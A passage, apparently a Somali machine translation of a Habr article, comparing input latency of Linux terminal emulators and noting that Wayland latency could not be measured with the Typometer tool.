saaxiibtinimo badan. Geeks khibrad leh, ka beddelashada terminalka caadiga ah waxay xitaa macnaheedu noqon kartaa in isha oo yaraada iyo awoodda looga fogaado dhaawacyada iyo jirrooyinka shaqada mustaqbalka la xiriira sababtoo ah fadhiyada dheer ee shaqada. Nasiib darro, kaliya xterm-kii hore iyo mlterm ayaa noo keenaya marinka sixirka ping-ka ee 10 millise seconds, taas oo aan la aqbali karin qaar badan.

Cabbirrada bartilmaameedka ayaa sidoo kale muujiyay in horumarinta deegaan garaafyada Linux awgeed, horumariyayaashu ay ku qasbanaadeen inay sameeyaan tiro tanaasul ah. Isticmaalayaasha qaar ayaa laga yaabaa inay rabaan inay eegaan maareeyayaasha daaqadaha caadiga ah maadaama ay bixiyaan hoos u dhac weyn oo ping ah. Nasiib darro, suurtagal ma ahayn in la cabbiro daahitaanka Wayland: barnaamijka Typometer-ka ee aan isticmaalay waxa loo abuuray waxa Wayland u qaabaysan tahay si looga hortago: basaasnimada daaqadaha kale. Waxaan rajeynayaa in curinta Wayland ay si ka wanaagsan X.org u qabato, sidoo kale waxaan rajeynayaa in mustaqbalka qof uu heli doono hab lagu cabbiro latency ee deegaankan.

Source: www.habr.com

Add a comment